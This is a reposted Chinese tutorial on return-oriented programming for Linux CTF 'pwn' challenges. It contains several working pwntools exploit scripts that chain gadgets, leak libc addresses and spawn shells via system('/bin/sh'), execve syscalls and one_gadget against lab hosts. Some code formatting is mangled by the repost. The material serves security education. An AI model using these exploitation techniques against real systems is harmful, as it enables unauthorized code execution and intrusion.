Linux pwn入門教程(3)——ROP技術


作者:Tangerine@SAINTSEC

原文來自:https://bbs.ichunqiu.com/thread-42530-1-1.html

0×00 背景

在上一篇教程的《shellcode的變形》一節中,我們提到過內存頁的RWX三種屬性。顯然,如果某一頁內存沒有可寫(W)屬性,我們就無法向里面寫入代碼,如果沒有可執行(X)屬性,寫入到內存頁中的shellcode就無法執行。關於這個特性的實驗在此不做展開,大家可以嘗試在調試時修改EIP和read()/scanf()/gets()等函數的參數來觀察操作無對應屬性內存的結果。那么我們怎么看某個ELF文件中是否有RWX內存頁呢?首先我們可以在靜態分析和調試中使用IDA的快捷鍵Ctrl + S
image.png

image.png

或者同上一篇教程中的方法,使用pwntools自帶的checksec命令檢查程序是否帶有RWX段。當然,由於程序可能在運行中調用mprotect(), mmap()等函數動態修改或分配具有RWX屬性的內存頁,以上方法均可能存在誤差。

既然攻擊者們能想到在RWX段內存頁中寫入shellcode並執行,防御者們也能想到,因此,一種名為NX位(No eXecute bit)的技術出現了。這是一種在CPU上實現的安全技術,這個位將內存頁以數據和指令兩種方式進行了分類。被標記為數據頁的內存頁(如棧和堆)上的數據無法被當成指令執行,即沒有X屬性。由於該保護方式的使用,之前直接向內存中寫入shellcode執行的方式顯然失去了作用。因此,我們就需要學習一種著名的繞過技術——ROP(Return-Oriented Programming, 返回導向編程)

顧名思義,ROP就是使用返回指令ret連接代碼的一種技術(同理還可以使用jmp系列指令和call指令,有時候也會對應地成為JOP/COP)。一個程序中必然會存在函數,而有函數就會有ret指令。我們知道,ret指令的本質是pop eip,即把當前棧頂的內容作為內存地址進行跳轉。而ROP就是利用棧溢出在棧上布置一系列內存地址,每個內存地址對應一個gadget,即以ret/jmp/call等指令結尾的一小段匯編指令,通過一個接一個的跳轉執行某個功能。由於這些匯編指令本來就存在於指令區,肯定可以執行,而我們在棧上寫入的只是內存地址,屬於數據,所以這種方式可以有效繞過NX保護。

0×01 使用ROP調用got表中函數

首先我們來看一個x86下的簡單ROP,我們將通過這里例子演示如何調用一個存在於got表中的函數並控制其參數。我們打開~/RedHat 2017-pwn1/pwn1。可以很明顯看到main函數存在棧溢出:

image.png變量v1的首地址在bp-28h處,即變量在棧上,而輸入使用的__isoc99_scanf不限制長度,因此我們的過長輸入將會造成棧溢出。

image.png

程序開啟了NX保護,所以顯然我們不可能用shellcode打開一個shell。根據之前文章的思路,我們很容易想到要調用system函數執行system(“/bin/sh”)。那么我們從哪里可以找到system”/bin/sh”呢?

第一個問題,我們知道使用動態鏈接的程序導入庫函數的話,我們可以在GOT表和PLT表中找到函數對應的項(稍后的文章中我們將詳細解釋)。跳轉到.got.plt段,我們發現程序里居然導入了system函數。

image.png

解決了第一個問題之后我們就需要考慮第二個問題。通過對程序的搜索我們沒有發現字符串“/bin/sh”,但是程序里有__isoc99_scanf,我們可以調用這個函數來讀取”/bin/sh”字符串到進程內存中。下面我們來開始構建ROP鏈。

首先我們考慮一下“/bin/sh”字符串應該放哪。通過調試時按Ctrl+S快捷鍵查看程序的內存分段,我們看到0x0804a030開始有個可讀可寫的大於8字節的地址,且該地址不受ASLR影響,我們可以考慮把字符串讀到這里。image.png接下來我們找到__isoc99_scanf的另一個參數“%s”,位於0x08048629

image.png

接着我們使用pwntools的功能獲取到__isoc99_scanf在PLT表中的地址,PLT表中有一段stub代碼,將EIP劫持到某個函數的PLT表項中我們可以直接調用該函數。我們知道,對於x86的應用程序來說,其參數從右往左入棧。因此,現在我們就可以構建出一個ROP鏈。
`from pwn import *

context.update(arch = ‘i386′, os = ‘linux’, timeout = 1)
io = remote(’172.17.0.3′, 10001)

elf = ELF(‘./pwn1′)
scanf_addr = p32(elf.symbols['__isoc99_scanf'])
format_s = p32(0×08048629)
binsh_addr = p32(0x0804a030)

shellcode1 = ‘A’*0×34
shellcode1 += scanf_addr
shellcode1 += format_s
shellcode1 += binsh_addr

print io.read()
io.sendline(shellcode1)
io.sendline(“/bin/sh”) 我們來測試一下。 通過調試我們可以看到,當EIP指向retn時,棧上的數據和我們的預想一樣,棧頂是plt表中__isoc99_scanf的首地址,緊接着是兩個參數。 ![](data/attachment/album/201807/06/113538drglfgfgrrlmrtry.png) 我們繼續跟進執行,在libc中執行一會兒之后,我們收到了一個錯誤 ![](data/attachment/album/201807/06/113544p5333t7qe797qgbt.png) 這是為什么呢?我們回顧一下之前的內容。我們知道call指令會將call指令的下一條指令地址壓入棧中,當被call調用的函數運行結束后,ret指令就會取出被call指令壓入棧中的地址傳輸給EIP。但是在這里我們繞過call直接調用了__isoc99_scanf,沒有像call指令一樣向棧壓入一個地址。此時函數認為返回地址是緊接着scanf_addrformat_s,而第一個參數就變成了binsh_addr`
call調用函數的情況

08048557  mov   [esp+4], eax 0804855B  mov   dword ptr [esp], offset unk_8048629                08048562  call    ___isoc99_scanf                08048567  lea     eax, [esp+18h]

image.pngimage.pngimage.png從兩種調用方式的比較上我們可以看到,由於少了call指令的壓棧操作,如果我們在布置棧的時候不模擬出一個壓入棧中的地址,被調用函數的取到的參數就是錯位的。所以我們需要改良一下ROP鏈。根據上面的描述,我們應該在參數和保存的EIP中間放置一個執行完的返回地址。鑒於我們調用scanf讀取字符串后還要調用system函數,我們讓__isoc99_scanf執行完后再次返回到main函數開頭,以便於再執行一次棧溢出。改良后的ROP鏈如下:image.png我們再次進行調試,發現這回成功調用__isoc99_scanf”/bin/sh”字符串讀取到地址0x0804a030image.png

此時程序再次從main函數開始執行。由於棧的狀態發生了改變,我們需要重新計算溢出的字節數。然后再次利用ROP鏈調用system執行system(“/bin/sh”),這個ROP鏈可以模仿上一個寫出來,完整的腳本也可以在對應文件夾中找到,此處不再贅述。

接下來讓我們來看看64位下如何使用ROP調用got表中的函數。我們打開文件~/bugs bunny ctf 2017-pwn150/pwn150,很容易就可以發現溢出出現在Hello()里image.png和上一個例子一樣,由於程序開啟了NX保護,我們必須找到system函數和”/bin/sh”字符串。程序在main函數中調用了自己定義的一個叫today的函數,執行了system(“/bin/date”),那么system函數就有了。至於”/bin/sh”字符串,雖然程序中沒有,但是我們找到了”sh”字符串,利用這個字符串其實也可以開shellimage.png

OK,現在我們有了棧溢出點,有了system函數,有了字符串”sh”,可以嘗試開shell了。首先我們要解決傳參數的問題。和x86不同,在x64下通常參數從左到右依次放在rdi, rsi, rdx, rcx, r8, r9,多出來的參數才會入棧(根據調用約定的方式可能有不同,通常是這樣),因此,我們就需要一個給RDI賦值的辦法。由於我們可以控制棧,根據ROP的思想,我們需要找到的就是pop rdi; ret,前半段用於賦值rdi,后半段用於跳到其他代碼片段。

有很多工具可以幫我們找到ROP gadget,例如pwntools自帶的ROP類,ROPgadget、rp++、ropeme等。在這里我使用的是ROPgadget(https://github.com/JonathanSalwan/ROPgadget

通過ROPgadget –binary 指定二進制文件,使用grep在輸出的所有gadgets中尋找需要的片段image.png這里有一個小trick。首先,我們看一下IDA中這個地址的內容是什么。image.png我們可以發現並沒有0x400883這個地址,0x400882pop r15, 接下來就是0x400884retn,那么這個pop rdi會不會是因為ROPgadget出bug了呢?別急,我們選擇0x400882,按快捷鍵D轉換成數據。image.png然后選擇0×400883按C轉換成代碼image.png

我們可以看出來pop rdi實際上是pop r15的“一部分”。這也再次驗證了匯編指令不過是一串可被解析為合法opcode的數據的別名。只要對應的數據所在內存可執行,能被轉成合法的opcode,跳轉過去都是不會有問題的。

現在我們已經准備好了所有東西,可以開始構建ROP鏈了。這回我們直接調用call system指令,省去了手動往棧上補返回地址的環節,腳本如下:image.png進行調試,發現開shell成功。image.pngretn跳轉到0×400883處的gadget:pop rdi; retimage.pngpop rdi將”sh”字符串所在地址0x4003ef賦值給rdiimage.png

retn跳轉到call system處

0×02 使用ROP調用int 80h/syscall
在上一節中,我們接觸到了一種最簡單的使用ROP的場景。但是現實的情況是很多情況下目標程序並不會導入system函數。在這種情況下我們就需要通過其他方法達到目標。在這一節中我們首先學習的是通過ROP調用int 80h/syscall
關於int 80h/syscall,在上一篇文章的《系統調用》一節中已經做了介紹,現在我們來看例子~/Tamu CTF 2018-pwn5/pwn5.這個程序的主要功能在print_beginning()實現。image.png這個函數有大量的puts()和printf()輸出提示,要求我們輸入first_name, last_name和major三個字符串到三個全局變量里,然后選擇是否加入Corps of Cadets。不管選是還是否都會進入一個差不多的函數image.png我們可以看到只有選擇選項2才會調用函數change_major(),其他選項都只是打印出一些內容。進入change_major()后,我們發現了一個棧溢出:image.png發現了溢出點后,我們就可以開始構思怎么getshell了。就像開頭說的那樣,這個程序里找不到system函數。但是我們用ROPGadget –binary pwn5 | grep “int 0×80”找到了一個可用的gadgetimage.png回顧一下上一篇文章,我們知道在http://syscalls.kernelgrok.com/ 上可以找到sys_execve調用,同樣可以用來開shell,這個系統調用需要設置5個寄存器,其中eax = 11 = 0xb, ebx = &(“/bin/sh”), ecx = edx = edi = 0. “/bin/sh”我們可以在前面輸入到地址固定的全局變量中。接下來我們就要通過ROPgadget搜索pop eax/ebx/ecx/edx/esi; ret了。image.pngpop eax; pop ebx; pop esi; pop edi; retimage.pngpop edx; pop ecx; pop ebx; retimage.png構建ROP鏈和腳本如下:image.png調試時發現執行失敗了,ROP鏈並沒有被讀進去image.pngimage.png

這是為什么呢?

我們輸出payload后發現0x080150a里面有兩個0x0a,即“\n”image.png在輸入的時候,我們會使用回車鍵”\n”代表輸入結束,顯然這邊也是受到了這個控制字符的影響,因此我們需要重新挑選gadgets。我們把gadget換成這一條image.png修改腳本發現成功getshell

0×03 從給定的libc中尋找gadget

有時候pwn題目也會提供一個pwn環境里對應版本的libc。在這種情況下,我們就可以通過泄露出某個在libc中的內容在內存中的實際地址,通過計算偏移來獲取system和“/bin/sh”的地址並調用。這一節的例子是~/Security Fest CTF 2016-tvstation/tvstation. 這是一個比較簡單的題目,題目中除了顯示出來的三個選項之外還有一個隱藏的選項4,選項4會直接打印出system函數在內存中的首地址:image.pngimage.png從IDA中我們可以看到打印完地址后執行了函數debug_func(),進入函數debug_func()之后我們發現了溢出點image.png由於這個題目給了libc,且我們已經泄露出了system的內存地址。使用命令readelf -a 查看libc.so.6_x64image.png

從這張圖上我們可以看出來.text節(Section)屬於第一個LOAD段(Segment),這個段的文件長度和內存長度是一樣的,也就是說所有的代碼都是原樣映射到內存中,代碼之間的相對偏移是不會改變的。由於前面的PHDR, INTERP兩個段也是原樣映射,所以在IDA里看到的system首地址距離文件頭的地址偏移和運行時的偏移是一樣的。如:

在這個libc中system函數首地址是0x456a0,即從文件的開頭數0x456a0個字節到達system函數image.png

image.pngimage.png調試程序,發現system在內存中的地址是0x7fb5c8c266a0image.png0x7fb5c8c266a0 -0x456a0 =0x7fb5c8be1000‬image.png

根據這個事實,我們就可以通過泄露出來的libc中的函數地址獲取libc在內存中加載的首地址,從而以此跳轉到其他函數的首地址並執行。

在libc中存在字符串”/bin/sh”,該字符串位於.data節,根據同樣的原理我們也可以得知這個字符串距libc首地址的偏移

image.png還有用來傳參的gadget :pop rdi; retimage.png據此我們可以構建腳本如下

#!/usr/bin/python
#coding:utf-8 from pwn import * io = remote('172.17.0.2', 10001) io.recvuntil(": ") io.sendline('4')                                        #跳轉到隱藏選項 io.recvuntil("@0x") system_addr = int(io.recv(12), 16)        #讀取輸出的system函數在內存中的地址 libc_start = system_addr - 0x456a0        #根據偏移計算libc在內存中的首地址 pop_rdi_addr = libc_start + 0x1fd7a        #pop rdi; ret 在內存中的地址,給system函數傳參 binsh_addr = libc_start + 0x18ac40        #"/bin/sh"字符串在內存中的地址 payload = "" payload += 'A'*40                                        #padding payload += p64(pop_rdi_addr)                #pop rdi; ret payload += p64(binsh_addr)                        #system函數參數 payload += p64(system_addr)                        #調用system()執行system("/bin/sh") io.sendline(payload) io.interactive()

0×04 一些特殊的gadgets

這一節主要介紹兩個特殊的gadgets。第一個gadget經常被稱作通用gadgets,通常位於x64的ELF程序中的__libc_csu_init中,如下圖所示:image.png這張圖片里包含了兩個gadget,分別是image.png

我們知道在x64的ELF程序中向函數傳參,通常順序是rdi, rsi, rdx, rcx, r8, r9, 棧,以上三段gadgets中,第一段可以設置r12-r15,接上第三段使用已經設置的寄存器設置rdi, 接上第二段設置rsi, rdx, rbx,最后利用r12+rbx*8可以call任意一個地址。在找gadgets出現困難時,可以利用這個gadgets快速構造ROP鏈。需要注意的是,用萬能gadgets的時候需要設置rbp=1,因為call qword ptr [r12+rbx*8]之后是add rbx, 1; cmp rbx, rbp; jnz xxxxxx。由於我們通常使rbx=0,從而使r12+rbx*8 = r12,所以call指令結束后rbx必然會變成1。若此時rbp != 1,jnz會再次進行call,從而可能引起段錯誤。那么這段gadgets怎么用呢?我們來看一下例子~/LCTF 2016-pwn100/pwn100

這個例子提供了libc,溢出點很明顯,位於0x40063dimage.png我們需要做的就是泄露一個got表中函數的地址,然后計算偏移調用system。前面的代碼很簡單,我們就不做介紹了

#!/usr/bin/python
#coding:utf-8 from pwn import * io = remote("172.17.0.3", 10001) elf = ELF("./pwn100") puts_addr = elf.plt['puts'] read_got = elf.got['read'] start_addr = 0x400550 pop_rdi = 0x400763 universal_gadget1 = 0x40075a           #萬能gadget1:pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn universal_gadget2 = 0x400740        #萬能gadget2:mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8] binsh_addr = 0x60107c                        #bss放了STDIN和STDOUT的FILE結構體,修改會導致程序崩潰 payload = "A"*72                                #padding payload += p64(pop_rdi)                        # payload += p64(read_got) payload += p64(puts_addr) payload += p64(start_addr)                #跳轉到start,恢復棧 payload = payload.ljust(200, "B")        #padding io.send(payload) io.recvuntil('bye~\n') read_addr = u64(io.recv()[:-1].ljust(8, '\x00')) log.info("read_addr = %#x", read_addr) system_addr = read_addr - 0xb31e0 log.info("system_addr = %#x", system_addr)

為了演示萬能gadgets的使用,我們選擇再次通過調用read函數讀取/bin/sh\x00字符串,而不是直接使用偏移。首先我們根據萬能gadgets布置好棧

payload = "A"*72                        #padding payload += p64(universal_gadget1)        #萬能gadget1 payload += p64(0)                        #rbx = 0 payload += p64(1)                        #rbp = 1,過掉后面萬能gadget2的call返回后的判斷 payload += p64(read_got)        #r12 = got表中read函數項,里面是read函數的真正地址,直接通過call調用 payload += p64(8)                        #r13 = 8,read函數讀取的字節數,萬能gadget2賦值給rdx payload += p64(binsh_addr)        #r14 = read函數讀取/bin/sh保存的地址,萬能gadget2賦值給rsi payload += p64(0)                        #r15 = 0,read函數的參數fd,即STDIN,萬能gadget2賦值給edi payload += p64(universal_gadget2)        #萬能gadget2


我們是不是應該直接在payload后面接上返回地址呢?不,我們回頭看一下universal_gadget2的執行流程

115534eky7jd464kj1j734.png由於我們的構造,上面的那塊代碼只會執行一次,然后流程就將跳轉到下面的loc_400756,這一系列操作將會抬升8*7共56字節的棧空間,因此我們還需要提供56個字節的垃圾數據進行填充,然后再拼接上retn要跳轉的地址。

payload += '\x00'*56                #萬能gadget2后接判斷語句,過掉之后是萬能gadget1,用於填充棧 payload += p64(start_addr)        #跳轉到start,恢復棧 payload = payload.ljust(200, "B")        #padding 接下來就是常規操作getshell io.send(payload) io.recvuntil('bye~\n') io.send("/bin/sh\x00")                #上面的一段payload調用了read函數讀取"/bin/sh\x00",這里發送字符串 payload = "A"*72                                #padding payload += p64(pop_rdi)                        #給system函數傳參 payload += p64(binsh_addr)                #rdi = &("/bin/sh\x00") payload += p64(system_addr)                #調用system函數執行system("/bin/sh") payload = payload.ljust(200, "B")        #padding io.send(payload) io.interactive()

我們介紹的第二個gadget通常被稱為one gadget RCE,顧名思義,通過一個gadget遠程執行代碼,即getshell。我們通過例子~/TJCTF 2016-oneshot/oneshot演示一下這個gadget的威力。
要利用這個gadget,我們需要一個對應環境的libc和一個工具one_gadget(https://github.com/david942j/one_gadget)。這個程序沒有棧溢出,其代碼非常簡單

115611fcgly38gz3tzwj3i.png從紅框中的代碼我們看到地址rbp+var_8被作為__isoc99_scanf的第二個參數賦值給rsi,即輸入被保存在這里。隨后rbp+var_8中的內容被賦值給rax,又被賦值給rdx,最后通過call rdx執行。也就是說我們輸入一個數字,這個數字會被當成地址使用call調用。由於只能控制4字節,我們就需要用到one gadget RCE來一步getshell。我們通過one_gadget找到一些gadget:115632ntojbsebojalwwzz.png我們看到這些gadget有約束條件。我們選擇第一條,要求rax=0。我們構建腳本進行調試:

#!/usr/bin/python
#coding:utf-8 from pwn import * one_gadget_rce = 0x45526 #one_gadget libc.so.6_x64 #0x45526        execve("/bin/sh", rsp+0x30, environ) #constraints: #  rax == NULL setbuf_addr = 0x77f50         setbuf_got = 0x600ae0 io = remote("172.17.0.2", 10001) io.sendline(str(setbuf_got)) io.recvuntil("Value: ") setbuf_memory_addr = int(io.recv()[:18], 16)        #通過打印got表中setbuf項的內容泄露setbuf在內存中的首地址 io.sendline(str(setbuf_memory_addr - (setbuf_addr - one_gadget_rce)))        #通過偏移計算one_gadget_rce在內存中的地址 io.interactive()

執行到call rdx時rax = 0

115652pf9q5395hw8qhwnd.pnggetshell成功115657oscpeqxxehcrexzk.png

大家可以閱讀原文下載課后例題和練習題哦~


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM